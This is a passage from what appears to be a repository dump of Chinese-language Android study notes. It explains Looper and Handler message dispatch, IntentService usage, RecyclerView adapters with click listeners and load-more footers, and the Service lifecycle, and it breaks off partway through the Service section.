(sThreadLocal.get() != null) {\n76             throw new RuntimeException(\"Only one Looper may be created per thread\");\n77         }\n78         sThreadLocal.set(new Looper(quitAllowed));\n79     }\n```\n该方法会调用Looper构造函数同时实例化出MessageQueue和当前thread.\n\n```\n186    private Looper(boolean quitAllowed) {\n187        mQueue = new MessageQueue(quitAllowed);\n188        mThread = Thread.currentThread();\n189    } \n\n182    public static MessageQueue myQueue() {\n183        return myLooper().mQueue;\n184    }\n\n```\n\n\n　　prepare()方法中通过ThreadLocal对象实现Looper实例与线程的绑定。（不清楚的可以查看　[ThreadLocal的使用规则和源码分析](http://blog.csdn.net/amazing7/article/details/51313851)）　\n\n\n５.2 　loop()方法　　\n\n```\n109    public static void loop() {\n110        final Looper me = myLooper();\n111        if (me == null) {\n112            throw new RuntimeException(\"No Looper; Looper.prepare() wasn't called on this thread.\");\n113        }\n114        final MessageQueue queue = me.mQueue;\n115\n118        Binder.clearCallingIdentity();\n119        final long ident = Binder.clearCallingIdentity();\n120\n121        for (;;) {\n122            Message msg = queue.next(); // might block\n123            if (msg == null) {\n124               \n125                return;\n126            }\n127\n129            Printer logging = me.mLogging;\n130            if (logging != null) {\n131                logging.println(\">>>>> Dispatching to \" + msg.target + \" \" +\n132                        msg.callback + \": \" + msg.what);\n133            }\n//重点****\n135            msg.target.dispatchMessage(msg);\n136\n137            if (logging != null) {\n138                logging.println(\"<<<<< Finished to \" + msg.target + \" \" + msg.callback);\n139            }\n140\n142            // identity of the thread wasn't corrupted.\n143            final long newIdent = Binder.clearCallingIdentity();\n144            if (ident != newIdent) {\n145                Log.wtf(TAG, \"Thread identity changed from 0x\"\n146                        + Long.toHexString(ident) + \" to 0x\"\n147                        + Long.toHexString(newIdent) + \" while dispatching to \"\n148                        + msg.target.getClass().getName() + \" \"\n149                        + msg.callback + \" what=\" + msg.what);\n150            }\n151\n152            msg.recycleUnchecked();\n153        }\n154    }\n```\n 　　首先looper对象不能为空，就是说loop()方法调用必须在prepare()方法的后面。\n\n　Looper一直在不断的从消息队列中通过MessageQueue的next方法获取Message，然后通过代码msg.target.dispatchMessage(msg)让该msg所绑定的Handler（Message.target）执行dispatchMessage方法以实现对Message的处理。 \n\nHandler的dispatchMessage的源码如下：\n\n```\n93     public void dispatchMessage(Message msg) {\n94         if (msg.callback != null) {\n95             handleCallback(msg);\n96         } else {\n97             if (mCallback != null) {\n98                 if (mCallback.handleMessage(msg)) {\n99                     return;\n100                }\n101            }\n102            handleMessage(msg);\n103        }\n104    }\n```\n 　　我们可以看到Handler提供了三种途径处理Message，而且处理有前后优先级之分：首先尝试让postXXX中传递的Runnable执行，其次尝试让Handler构造函数中传入的Callback的handleMessage方法处理，最后才是让Handler自身的handleMessage方法处理Message。\n\n\n\n# ６、如何在子线程中使用Handler\n\n\n  　　Handler本质是从当前的线程中获取到Looper来监听和操作MessageQueue，当其他线程执行完成后回调当前线程。\n\n　　子线程需要先prepare（）才能获取到Looper的，是因为在子线程只是一个普通的线程，其ThreadLoacl中没有设置过Looper，所以会抛出异常，而在Looper的prepare（）方法中sThreadLocal.set(new Looper())是设置了Looper的。\n\n６.1　实例代码\n\n　定义一个类实现Runnable接口或继承Thread类（一般不继承）。\n\n```\n    class Rub implements Runnable {  \n  \n        public Handler myHandler;  \n        // 实现Runnable接口的线程体 \n        @Override  \n        public void run() {  \n        \t\n         /*①、调用Looper的prepare()方法为当前线程创建Looper对象并，\n          创建Looper对象时，它的构造器会自动的创建相对应的MessageQueue*/\n            Looper.prepare();  \n            \n            /*.②、创建Handler子类的实例，重写HandleMessage()方法，该方法处理除当前线程以外线程的消息*/\n             myHandler = new Handler() {  \n                @Override  \n                public void handleMessage(Message msg) {  \n                    String ms = \"\";  \n                    if (msg.what == 0x777) {  \n                     \n                    }  \n                }  \n  \n            };  \n            //③、调用Looper的loop()方法来启动Looper让消息队列转动起来\n            Looper.loop();  \n        }\n    }\n```\n\n注意分成三步：　\n\n１．调用Looper的prepare()方法为当前线程创建Looper对象，创建Looper对象时，它的构造器会创建与之配套的MessageQueue。 　\n\n２．有了Looper之后，创建Handler子类实例，重写HanderMessage()方法，该方法负责处理来自于其他线程的消息。 　\n\n３．调用Looper的looper()方法启动Looper。\n\n　　然后使用这个handler实例在任何其他线程中发送消息，最终处理消息的代码都会在你创建Handler实例的线程中运行。\n\n\n\n# ７、总结  　　\n\n**Handler**:\n \n- 发送消息，它能把消息发送给Looper管理的MessageQueue。 \n\n- 处理消息，并负责处理Looper分给它的消息。\n \n- Handler的构造方法，会首先得到当前线程中保存的Looper实例，进而与Looper实例中的MessageQueue想关联。　\n \n- Handler的sendMessage方法，会给msg的target赋值为handler自身，然后加入MessageQueue中。　　\n　　　\n   \n   \n**Looper**:\n\n- 每个线程只有一个Looper，它负责管理对应的MessageQueue，会不断地从MessageQueue取出消息，并将消息分给对应的Hanlder处理。 　\n\n\n- 主线程中，系统已经初始化了一个Looper对象，因此可以直接创建Handler即可，就可以通过Handler来发送消息、处理消息。 程序自己启动的子线程，程序必须自己创建一个Looper对象，并启动它，调用``Looper.prepare()``方法。 \n\n- prapare()方法：保证每个线程最多只有一个Looper对象。 　\n\n- looper()方法：启动Looper，使用一个死循环不断取出MessageQueue中的消息，并将取出的消息分给对应的Handler进行处理。 　\n\n**MessageQueue**:\n\n- 由Looper负责管理，它采用先进先出的方式来管理Message。　\n\n\n**Message**:\n\n- Handler接收和处理的消息对象。 \n\n\n　　\n\n"
  },
  {
    "path": "docs/android/AndroidNote/Android基础/IntentService详细解析.md",
    "content": "# IntentService定义\n\n　　IntentService继承与Service，用来处理异步请求。客户端可以通过startService(Intent)方法传递请求给IntentService。IntentService在onCreate()函数中通过HandlerThread单独开启一个线程来依次处理所有Intent请求对象所对应的任务。　\n　　\n　　这样以免事务处理阻塞主线程（ＡＮＲ）。执行完所一个Intent请求对象所对应的工作之后，如果没有新的Intent请求达到，则**自动停止**Service；否则执行下一个Intent请求所对应的任务。　\n　　\n　　IntentService在处理事务时，还是采用的Handler方式，创建一个名叫ServiceHandler的内部Handler，并把它直接绑定到HandlerThread所对应的子线程。 ServiceHandler把处理一个intent所对应的事务都封装到叫做**onHandleIntent**的虚函数；因此我们直接实现虚函数onHandleIntent，再在里面根据Intent的不同进行不同的事务处理就可以了。\n另外，IntentService默认实现了Onbind（）方法，返回值为null。\n\n使用IntentService需要实现的两个方法：\n　　\n\n - 构造函数　\n\n　　IntentService的构造函数一定是**参数为空**的构造函数，然后再在其中调用super(\"name\")这种形式的构造函数。因为Service的实例化是系统来完成的，而且系统是用参数为空的构造函数来实例化Service的\n \n - 实现虚函数onHandleIntent\n\n　　在里面根据Intent的不同进行不同的事务处理。　\n　　\n好处：处理异步请求的时候可以减少写代码的工作量，比较轻松地实现项目的需求。\n\n# IntentService与Service的区别\n\n　　Service不是独立的进程，也不是独立的线程，它是依赖于应用程序的主线程的，不建议在Service中编写耗时的逻辑和操作，否则会引起ANR。\n\n　　IntentService 它创建了一个独立的工作线程来处理所有的通过onStartCommand()传递给服务的intents（把intent插入到工作队列中）。通过工作队列把intent逐个发送给onHandleIntent()。　\n　　\n　　不需要主动调用stopSelft()来结束服务。因为，在所有的intent被处理完后，系统会自动关闭服务。\n\n　　 默认实现的onBind()返回null。\n\n# IntentService实例介绍\n\n　　首先是myIntentService.java\n\n```\npublic class myIntentService extends IntentService {\n\n\t//------------------必须实现-----------------------------\n\t\n\tpublic myIntentService() {\n\t\tsuper(\"myIntentService\");\n\t\t// 注意构造函数参数为空，这个字符串就是worker thread的名字\n\t}\n\n\t@Override\n\tprotected void onHandleIntent(Intent intent) {\n\t\t//根据Intent的不同进行不同的事务处理 \n        String taskName = intent.getExtras().getString(\"taskName\");  \n        switch (taskName) {\n\t\tcase \"task1\":\n\t\t\tLog.i(\"myIntentService\", \"do task1\");\n\t\t\tbreak;\n\t\tcase \"task2\":\n\t\t\tLog.i(\"myIntentService\", \"do task2\");\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tbreak;\n\t\t}\t\t\n\t}\n  //--------------------用于打印生命周期--------------------\t\n   @Override\n  public void onCreate() {\n\t\tLog.i(\"myIntentService\", \"onCreate\");\n\tsuper.onCreate();\n}\n\t\n\t@Override\n\tpublic int onStartCommand(Intent intent, int flags, int startId) {\n\t\tLog.i(\"myIntentService\", \"onStartCommand\");\n\t\treturn super.onStartCommand(intent, flags, startId);\n\t}\n\t\n\t@Override\n\tpublic void onDestroy() {\n\t\tLog.i(\"myIntentService\", \"onDestroy\");\n\t\tsuper.onDestroy();\n\t}\n}\n\n```\n然后记得在Manifest.xml中注册服务\n\n```\n <service android:name=\".myIntentService\">\n            <intent-filter >  \n                <action android:name=\"cn.scu.finch\"/>  \n            </intent-filter>     \n        </service>\n```\n\n最后在Activity中开启服务\n\n```\npublic class MainActivity extends Activity {\n\t@Override\n\tprotected void onCreate(Bundle savedInstanceState) {\n\t\t// TODO Auto-generated method stub\n\t\tsuper.onCreate(savedInstanceState);\n\t\t\n\t\t//同一服务只会开启一个worker thread，在onHandleIntent函数里依次处理intent请求。\n\t\t\n        Intent i = new Intent(\"cn.scu.finch\");  \n        Bundle bundle = new Bundle();  \n        bundle.putString(\"taskName\", \"task1\");  \n        i.putExtras(bundle);  \n        startService(i);  \n           \n        Intent i2 = new Intent(\"cn.scu.finch\");  \n        Bundle bundle2 = new Bundle();  \n        bundle2.putString(\"taskName\", \"task2\");  \n        i2.putExtras(bundle2);  \n        startService(i2); \n        \n        startService(i);  //多次启动\n\t}\n}\n```\n\n运行结果：\n\n![这里写图片描述](http://img.blog.csdn.net/20160513135411037)　\n\n　　IntentService在onCreate()函数中通过HandlerThread单独开启一个线程来依次处理所有Intent请求对象所对应的任务。　\n　　\n　　通过onStartCommand()传递给服务intent被**依次**插入到工作队列中。工作队列又把intent逐个发送给onHandleIntent()。\n\n　　\n\n> 注意：\n> 它只有一个工作线程，名字就是构造函数的那个字符串，也就是“myIntentService”，我们知道多次开启service，只会调用一次onCreate方法（创建一个工作线程），多次onStartCommand方法（用于传入intent通过工作队列再发给onHandleIntent函数做处理）。\n\n"
  },
  {
    "path": "docs/android/AndroidNote/Android基础/RecyclerView的简介.md",
    "content": "RecyclerView\n\n一、简介\n\n这个是谷歌官方出的控件，使我们可以非常简单的做出列表装的一个控件，当然recyclerview的功能不止这些，它还可以做出瀑布流的效果，这是一个非常强大的控件，内部自带viewholder可以使我们非常简单的完成许多操作，正在一步一步取代listview这个控件，当然它也有一些小的缺点，那就是谷歌官方并没有直接给我写出它的点击事件的接口，但是这并难不倒我们，我们可以自己写一个回调的接口，实现点击事件，在这里我不仅要为大家介绍recyclerview的item的点击事件，还要为大家介绍，一个item中局部的点击事件，还有添加header、footer，还有添加不同类别的item的布局。可以说彻底的读懂了这篇文章，我们对recyclerview就有了一个新的认识了。\n\n二、涉及到的知识点\n\n  \n - item的点击事件\n - item里面内容的点击事件\n - 为recycler view添加header和footer\n - 为item添加不同的布局\n \n三、实现代码\n\n```\n/**\n * Created by linSir on 16/7/24.管理地址界面的适配器\n */\npublic class ManageAddressAdapter extends RecyclerView.Adapter<RecyclerView.ViewHolder> {//在这里我们要继承自官方为我们写好的适配器\n\n    public OnTitleClickListener mListener;\n    private List<AllAddress> mList;  //用户列表\n\n    public ManageAddressAdapter() {\n        mList = new ArrayList<>();\n    }\n\n    public void setList(List<AllAddress> list) {//从外界传入一个list\n        mList.clear();\n        mList.addAll(list);\n        notifyDataSetChanged();\n    }\n\n\n    @Override\n    public RecyclerView.ViewHolder onCreateViewHolder(ViewGroup parent, int viewType) {//重写方法，用上我们下面写好的viewHoler\n        return new ManageAddressViewHolder(LayoutInflater.from(parent.getContext()).inflate(R.layout.item_manage_address, parent, false));\n    }\n\n    @Override public void onBindViewHolder(RecyclerView.ViewHolder holder, int position) {//在这里我们将数据和控件绑定起来\n        ManageAddressViewHolder mHolder = (ManageAddressViewHolder) holder;\n        mHolder.userName.setText(mList.get(position).getShipName());\n        mHolder.userTel.setText(mList.get(position).getPhone());\n\n        String address = mList.get(position).getProvince() + \" \" + mList.get(position).getCity()\n                + \" \" + mList.get(position).getArea() + \" \" + mList.get(position).getDetail();\n        mHolder.address.setText(address);\n\n        mHolder._default.setOnClickListener(new ClickListener(String.valueOf(position)));//在这里我们设置了点击事件\n\n    }\n\n    @Override public int getItemCount() {\n        return mList.size();\n    }\n\n\n    public static class ManageAddressViewHolder extends RecyclerView.ViewHolder {\n\n        private TextView userName;\n        private TextView userTel;\n        private TextView address;\n        private TextView _default;\n\n        public ManageAddressViewHolder(View itemView) {\n            super(itemView);\n            userName = (TextView) itemView.findViewById(R.id.manage_userName);\n            userTel = (TextView) itemView.findViewById(R.id.manage_userTel);\n            address = (TextView) itemView.findViewById(R.id.manage_userAddress);\n            _default = (TextView) itemView.findViewById(R.id.manage_default);\n\n\n        }\n    }\n\n\n    public class ClickListener implements View.OnClickListener {//在这里我们重写了点击事件\n        private String id;\n\n        public ClickListener(String id) {\n            this.id = id;\n        }\n\n        @Override public void onClick(View view) {\n            if (mListener != null) {\n                mListener.onTitleClick(id);\n            }\n        }\n    }\n\n\n    public void setOnTitleClickListener(OnTitleClickListener listener) {//自己写了一个方法，用上我们的接口\n        mListener = listener;\n    }\n\n\n    public interface OnTitleClickListener {//自己写了一个点击事件的接口\n        void onTitleClick(String id);\n    }\n\n\n}\n```\n\n通过以上的代码，我们已经为recyclerView里面的item里面的textview添加成功了点击事件，我们只需要在调用它的界面实现这个接口，然后重写点击事件的方法，就可以实现这个textview的点击事件了，下面我们一起看一下代码：\n\n```\n/**\n * Created by linSir on 16/7/24.管理地址界面\n */\npublic class ManageAddressActivity extends AppCompatActivity implements ManageAddressAdapter.OnTitleClickListener {//实现上文我们写好的点击事件的接口\n\n    private ManageAddressAdapter mAdapter;\n    private List<AllAddress> list;\n    @BindView(R.id.manage_address_recyclerView) RecyclerView mRecyclerView;\n\n    @Override protected void onCreate(@Nullable Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        setContentView(R.layout.activity_manage);\n        ButterKnife.bind(this);\n        list = new ArrayList<AllAddress>();\n        mAdapter = new ManageAddressAdapter();\n        LinearLayoutManager linearLayoutManager = new LinearLayoutManager(this);\n        mAdapter.setOnTitleClickListener(this);//声明一下\n        mRecyclerView.setAdapter(mAdapter);\n        mRecyclerView.setLayoutManager(linearLayoutManager);//这里千万不要了为recyclerview设置布局\n\n\n    }\n\n    @OnClick(R.id.back_manage_address)\n    public void back() {\n        finish();\n    }\n\n    @OnClick(R.id.manage_add_address)\n    public void add() {\n        Intent intent = new Intent(ManageAddressActivity.this, EditAddress.class);\n        startActivity(intent);\n    }\n\n    @Override\n    protected void onResume() {\n        super.onResume();\n        final HttpResultListener<List<AllAddress>> listener;\n\n        listener = new HttpResultListener<List<AllAddress>>() {\n            @Override\n            public void onSuccess(List<AllAddress> allAddresses) {\n                Toast.makeText(ManageAddressActivity.this, \"获取收货成功\", Toast.LENGTH_SHORT).show();\n                mAdapter.setList(allAddresses);\n                list = allAddresses;\n\n            }\n\n            @Override\n            public void onError(Throwable e) {\n                Log.i(\"lin\", \"----lin----> 获取收货地址失败 \" + e.toString());\n            }\n        };\n        ApiService5.getInstance().allAddress(listener, 1);\n    }\n\n    @Override public void onTitleClick(String id) {//这里便是我们重写了的点击事件\n        Log.i(\"lin\", \"----lin----> onTitleClick 的 id \" + id);\n    }\n}\n\n```\n\n以上的代码，我们实现了，为recyclerView的一个item中的textview添加的点击事件，下面我要为大家介绍一下，如何为recyclerView中item添加不同的布局文件，并且如何为item整个添加点击事件：\n\n```\n/**\n * Created by lin_sir on 2016/7/7.部分商品的展示,的适配器\n */\npublic class BuyerRecyclerAdapter extends RecyclerView.Adapter<RecyclerView.ViewHolder> {\n\n    public static final int FOOTER_TYPE = 0;//最后一个的类型\n    public static final int HAS_IMG_TYPE = 1;//有图片的类型\n\n    private List<FamousPageModel> dataList;\n\n    private ProgressBar mProgress;\n    private TextView mNoMore;\n\n    public BuyerRecyclerAdapter() {\n        dataList = new ArrayList<>();\n    }\n\n    public void addData(List<FamousPageModel> list) {\n        dataList.addAll(list);\n        notifyDataSetChanged();\n    }\n\n    @Override\n    public RecyclerView.ViewHolder onCreateViewHolder(ViewGroup parent, int viewType) {\n        if (viewType == FOOTER_TYPE) {\n            return new FooterItemViewHolder(LayoutInflater.from(parent.getContext()).inflate(R.layout.item_footer, parent, false));\n        } else {\n            return new BuyerItemViewHolder(LayoutInflater.from(parent.getContext()).inflate(R.layout.item_buyer, parent, false));\n        }\n\n    }\n\n    @Override\n    public void onBindViewHolder(RecyclerView.ViewHolder holder, int position) {\n        int type = getItemViewType(position);\n        if (type == FOOTER_TYPE) {\n            bindFooterView((FooterItemViewHolder) holder);\n        } else {\n            bindView((BuyerItemViewHolder) holder, dataList.get(position));\n        }\n    }\n\n    @Override\n    public int getItemViewType(int position) {\n        if (position + 1 == getItemCount()) {\n            return FOOTER_TYPE;\n        } else {\n            FamousPageModel news = dataList.get(position);\n            return HAS_IMG_TYPE;\n        }\n    }\n\n    private void bindView(BuyerItemViewHolder holder, FamousPageModel data) {\n\n        String productName = data.getProductName();\n        String[] products = productName.split(\" \");\n        if (products.length != 1) {\n            productName = products[1] + \" 等商品\";\n        }\n\n        String count = data.getNum();\n        int sum = 0;\n        String[] counts = count.split(\" \");\n        if (counts.length == 2) {\n            sum = Integer.parseInt(counts[0]) + Integer.parseInt(counts[1]);\n            count = String.valueOf(sum);\n        }\n\n        if (counts.length == 3) {\n            sum = Integer.parseInt(counts[0]) + Integer.parseInt(counts[1]) + Integer.parseInt(counts[2]);\n            count = String.valueOf(sum);\n        }\n\n        holder.count.setText(count);\n        holder.goods_name.setText(productName);\n        holder.price.setText(data.getTotal());\n        if (data.getUser() != null) {\n            holder.user_name.setText(data.getUser().getName());\n\n        }\n\n        String imgUrl = data.getPicture();\n\n        if (imgUrl != null) {\n            ImageUtil.requestImg(BaseApplication.get().getAppContext(), imgUrl, holder.img);\n        }\n\n//        Picasso.with(BaseApplication.get().getAppContext()).load(data.getPicture()).into(holder.img);\n    }\n\n\n    @Override\n    public int getItemCount() {\n        return dataList == null ? 0 : dataList.size() + 1;\n    }\n\n    public static class BuyerItemViewHolder extends RecyclerView.ViewHolder {\n\n        private ImageView img;\n        private TextView price;\n        private TextView goods_name;\n        private TextView count;\n        private TextView user_name;\n\n\n        public BuyerItemViewHolder(View itemView) {\n\n            super(itemView);\n\n            img = (ImageView) itemView.findViewById(R.id.iv_user_item_buyer2);\n            price = (TextView) itemView.findViewById(R.id.tv_product_price);\n            goods_name = (TextView) itemView.findViewById(R.id.tv_product_name);\n            count = (TextView) itemView.findViewById(R.id.tv_product_number);\n            user_name = (TextView) itemView.findViewById(R.id.tv_user_name);\n\n        }\n    }\n\n\n    /**\n     * 刷新列表\n     */\n    public void refreshList(List<FamousPageModel> list) {\n        dataList.clear();\n        dataList.addAll(list);\n        notifyDataSetChanged();\n    }\n\n    /**\n     * 加载更多\n     */\n    public void loadMoreList(List<FamousPageModel> list) {\n        dataList.addAll(list);\n        notifyDataSetChanged();\n    }\n\n    /**\n     * 显示没有更多\n     */\n    public void showNoMore() {\n        if (getItemCount() > 0) {\n            if (mProgress != null && mNoMore != null) {\n                mNoMore.setVisibility(View.VISIBLE);\n                mProgress.setVisibility(View.GONE);\n            }\n        }\n    }\n\n\n    /**\n     * 显示加载更多\n     */\n    public void showLoadMore() {\n        if (mProgress != null && mNoMore != null) {\n            mProgress.setVisibility(View.VISIBLE);\n            mNoMore.setVisibility(View.GONE);\n        }\n    }\n\n    private void bindFooterView(FooterItemViewHolder viewHolder) {\n        mProgress = viewHolder.mProgress;\n        mNoMore = viewHolder.tvNoMore;\n    }\n\n\n    public static class FooterItemViewHolder extends RecyclerView.ViewHolder {\n\n        private ProgressBar mProgress;\n        private TextView tvNoMore;\n\n        public FooterItemViewHolder(View itemView) {\n            super(itemView);\n            mProgress = (ProgressBar) itemView.findViewById(R.id.pb_footer_load_more);\n            tvNoMore = (TextView) itemView.findViewById(R.id.tv_footer_no_more);\n        }\n    }\n\n\n    /**\n     * 获取点击的 item,如果是最后一个,则返回 null\n     */\n    public FamousPageModel getClickItem(int position) {\n        if (position < dataList.size()) {\n            return dataList.get(position);\n        } else {\n            return null;\n        }\n    }\n\n}\n\n```\n\n在这里我们首先重写了getItemViewType，这里面我目前只写了两种类型，那就是带有图片的类型，和不带有图片的类型，并且我让不带图片的类型出现在了最后面，当然大家可以随意的设置，我们只需要根据它们的特征为他们分好类，然后根据不同的类型加载不同的布局文件即可。\n\n\n```\n/**\n * Created by lin_sir on 2016/7/7. buyer界面\n */\npublic class FragmentBuyer extends Fragment implements SwipeRefreshLayout.OnRefreshListener {\n\n    private static int CURRENT_PAGE = 1;                            //获取需要请求的页号\n    private RecyclerView recyclerView;                              //recyclerView\n    private BuyerRecyclerAdapter madapter;                          //适配器\n    private List<FamousPageModel> mlist;                            //一个装载数据的集合\n    private LinearLayoutManager linearLayoutManager;                //linearLayoutManger\n    private HttpResultListener<List<FamousPageModel>> listener;     //数据请求的回调接口\n    private SwipeRefreshLayout refreshLayout;                       //下拉刷新控件\n    private boolean isLoadMore;                                     //是否加载更多\n\n    @Nullable\n    @Override\n    public View onCreateView(LayoutInflater inflater, @Nullable ViewGroup container, @Nullable Bundle savedInstanceState) {\n        View view = inflater.inflate(R.layout.fragment_buyer, container, false);\n        initviews(view);\n        initListener();\n        refreshData();\n        ButterKnife.bind(this, view);\n        return view;\n    }\n\n    private void initListener() {\n        listener = new HttpResultListener<List<FamousPageModel>>() {\n            @Override\n            public void onSuccess(List<FamousPageModel> list) {\n                Log.i(\"lin\", \"----lin---->  refresh  success\");\n                refreshLayout.setRefreshing(false);\n                if (isLoadMore) {\n                    mlist = list;\n                    madapter.loadMoreList(mlist);\n                    madapter.notifyDataSetChanged();\n                    madapter.showNoMore();\n                } else {\n                    mlist = list;\n                    madapter.refreshList(list);\n                    madapter.notifyDataSetChanged();\n                }\n            }\n\n            @Override\n            public void onError(Throwable e) {\n                Log.i(\"lin\", \"----lin---->   refresh  error  \" + e.toString());\n                refreshLayout.setRefreshing(false);\n                madapter.showNoMore();\n            }\n        };\n    }\n\n    private void initviews(View view) {\n\n        mlist = new ArrayList<>();\n\n        refreshLayout = (SwipeRefreshLayout) view.findViewById(R.id.refresh_news);\n        recyclerView = (RecyclerView) view.findViewById(R.id.rv_buyer);\n\n        refreshLayout.setColorSchemeResources(R.color.blue_500, R.color.purple_500, R.color.green_500);\n        refreshLayout.setOnRefreshListener(this);\n        linearLayoutManager = new LinearLayoutManager(getActivity());\n        linearLayoutManager.setOrientation(OrientationHelper.VERTICAL);\n\n        madapter = new BuyerRecyclerAdapter();\n        madapter.addData(mlist);\n\n        recyclerView.setLayoutManager(linearLayoutManager);\n        recyclerView.setAdapter(madapter);\n        recyclerView.addOnScrollListener(new OnRecyclerScrollListener());\n        recyclerView.addOnItemTouchListener(new RecyclerItemClickListener(getActivity(), onItemClickListener));\n    }\n\n    /**\n     * 刷新时,默认请求第一页的数据\n     */\n    private void refreshData() {\n        refreshLayout.setRefreshing(true);\n        isLoadMore = false;\n        CURRENT_PAGE = 1;\n        requestData(1);\n    }\n\n    /**\n     * 加载更多\n     */\n    private void loadMoreData() {\n        refreshLayout.setRefreshing(false);// 加载更多与刷新不能同时存在\n        isLoadMore = true;\n        requestData(++CURRENT_PAGE);\n    }\n\n    public class OnRecyclerScrollListener extends RecyclerView.OnScrollListener {\n\n        int lastVisibleItem = 0;\n\n        @Override\n        public void onScrollStateChanged(RecyclerView recyclerView, int newState) {\n            super.onScrollStateChanged(recyclerView, newState);\n\n            if (madapter != null && newState == RecyclerView.SCROLL_STATE_IDLE && lastVisibleItem + 1 == madapter.getItemCount()) {\n                loadMoreData();\n            }\n        }\n\n        @Override\n        public void onScrolled(RecyclerView recyclerView, int dx, int dy) {\n            super.onScrolled(recyclerView, dx, dy);\n            lastVisibleItem = linearLayoutManager.findLastVisibleItemPosition();\n        }\n    }\n\n    /**\n     * 请求数据\n     */\n    private void requestData(int page) {\n        madapter.showLoadMore();\n        ApiService2.getInstance().famous(listener, page);\n    }\n\n    @Override\n    public void onRefresh() {\n        refreshData();\n    }\n\n    private RecyclerItemClickListener.OnItemClickListener onItemClickListener = new RecyclerItemClickListener.OnItemClickListener() {//这里我们便实现了点击事件\n        @Override\n        public void onItemClick(View view, int position) {\n            Toast.makeText(getActivity(), \"您点击的是：   \" + position, Toast.LENGTH_SHORT).show();\n            \n        }\n    };\n\n\n    @OnClick(R.id.release_distance_buyer)\n    public void release() {\n        Intent intent = new Intent(getActivity(), ReleaseOrderActivity.class);\n        startActivity(intent);\n\n\n    }\n\n    @Override public void onDestroy() {\n        super.onDestroy();\n    }\n\n}\n\n```\n\n以上便是根据我最近做的项目粗略的整理了一下，recyclerview的简单用法，在这里我也用到了，下拉刷新，上拉加载更多，等等等等的方法，写这些也是为了让自己在以后遇到同样的需求的时候，可以很快的写出，如果大家也有这些小问题的可以和我一起交流。\n"
  },
  {
    "path": "docs/android/AndroidNote/Android基础/Service详细解析.md",
    "content": "# 什么是服务？　　\n\n　　Service是一个应用程序组件，它能够在后台执行一些耗时较长的操作，并且不提供用户界面。服务能被其它应用程序的组件启动，即使用户切换到另外的应用时还能保持后台运行。此外，应用程序组件还能与服务绑定，并与服务进行交互，甚至能进行进程间通信（IPC）。 比如，服务可以处理网络传输、音乐播放、执行文件I/O、或者与content provider进行交互，所有这些都是后台进行的。\n\n\n# Service 与 Thread 的区别\n\n\n　　服务仅仅是一个组件，即使用户不再与你的应用程序发生交互，它仍然能在后台运行。因此，应该只在需要时才创建一个服务。\n\n　　如果你需要在主线程之外执行一些工作，但仅当用户与你的应用程序交互时才会用到，那你应该创建一个新的线程而不是创建服务。 比如，如果你需要播放一些音乐，但只是当你的activity在运行时才需要播放，你可以在onCreate()中创建一个线程，在onStart()中开始运行，然后在onStop()中终止运行。还可以考虑使用AsyncTask或HandlerThread来取代传统的Thread类。\n\n　　**由于无法在不同的 Activity 中对同一 Thread 进行控制**，这个时候就要考虑用服务实现。如果你使用了服务，它默认就运行于应用程序的主线程中。因此，如果服务执行密集计算或者阻塞操作，你仍然应该在服务中创建一个新的线程来完成（避免ANR）。\n\n# 服务的分类\n\n## 按运行分类\n\n　　\n\n - 前台服务\n\n　　前台服务是指那些经常会被用户关注的服务，因此内存过低时它不会成为被杀的对象。 前台服务必须提供一个状态栏通知，并会置于“正在进行的”（“Ongoing”）组之下。这意味着只有在服务被终止或从前台移除之后，此通知才能被解除。\n　　例如，用服务来播放音乐的播放器就应该运行在前台，因为用户会清楚地知晓它的运行情况。 状态栏通知可能会标明当前播放的歌曲，并允许用户启动一个activity来与播放器进行交互。\n\n　　要把你的服务请求为前台运行，可以调用startForeground()方法。此方法有两个参数：唯一标识通知的整数值、状态栏通知Notification对象。例如：\n\n 　\n\n```\nNotification notification = new Notification(R.drawable.icon, getText(R.string.ticker_text),System.currentTimeMillis());\n\nIntent notificationIntent = new Intent(this,ExampleActivity.class);\n\nPendingIntent pendingIntent = PendingIntent.getActivity(this, 0, notificationIntent, 0);\n\nnotification.setLatestEventInfo(this, getText(R.string.notification_title),\n        getText(R.string.notification_message), pendingIntent);\n        \nstartForeground(ONGOING_NOTIFICATION, notification);\n```\n\n　　要从前台移除服务，请调用stopForeground()方法，这个方法接受个布尔参数，表示是否同时移除状态栏通知。此方法不会终止服务。不过，如果服务在前台运行时被你终止了，那么通知也会同时被移除。\n\n - 后台服务\n\n## 按使用分类　　\n\n - 本地服务\n\n　　用于应用程序内部，实现一些耗时任务，并不占用应用程序比如Activity所属线程，而是单开线程后台执行。\n　　调用Context.startService()启动，调用Context.stopService()结束。在内部可以调用Service.stopSelf() 或 Service.stopSelfResult()来自己停止。\n\n - 远程服务\n\n　　用于Android系统内部的应用程序之间，可被其他应用程序复用，比如天气预报服务，其他应用程序不需要再写这样的服务，调用已有的即可。可以定义接口并把接口暴露出来，以便其他应用进行操作。客户端建立到服务对象的连接，并通过那个连接来调用服务。调用Context.bindService()方法建立连接，并启动，以调用 Context.unbindService()关闭连接。多个客户端可以绑定至同一个服务。如果服务此时还没有加载，bindService()会先加载它。\n\n# Service生命周期\n\n　　![这里写图片描述](http://img.blog.csdn.net/20160503165018575)\n\nService生命周期方法：\n```\npublic class ExampleService extends Service {\n    int mStartMode;       // 标识服务被杀死后的处理方式\n    IBinder mBinder;      // 用于客户端绑定的接口\n    boolean mAllowRebind; // 标识是否使用onRebind\n\n    @Override\n    public void onCreate() {\n        // 服务正被创建\n    }\n    @Override\n    public int onStartCommand(Intent intent, int flags, int startId) {\n        // 服务正在启动，由startService()调用引发\n        return mStartMode;\n    }\n    @Override\n    public IBinder onBind(Intent intent) {\n        // 客户端用bindService()绑定服务\n        return mBinder;\n    }\n    @Override\n    public boolean onUnbind(Intent intent) {\n        // 所有的客户端都用unbindService()解除了绑定\n        return mAllowRebind;\n    }\n    @Override\n    public void onRebind(Intent intent) {\n        // 某客户端正用bindService()绑定到服务,\n        // 而onUnbind()已经被调用过了\n    }\n    @Override\n    public void onDestroy() {\n        // 服务用不上了，将被销毁\n    }\n}\n```\n\n> 请注意onStartCommand()方法必须返回一个整数。这个整数是描述系统在杀死服务之后应该如何继续运行。onStartCommand()的返回值必须是以下常量之一：\n\n> START_NOT_STICKY 　\n如果系统在onStartCommand()返回后杀死了服务，则不会重建服务了，除非还存在未发送的intent。 当服务不再是必需的，并且应用程序能够简单地重启那些未完成的工作时，这是避免服务运行的最安全的选项。　\n　\n> START_STICKY 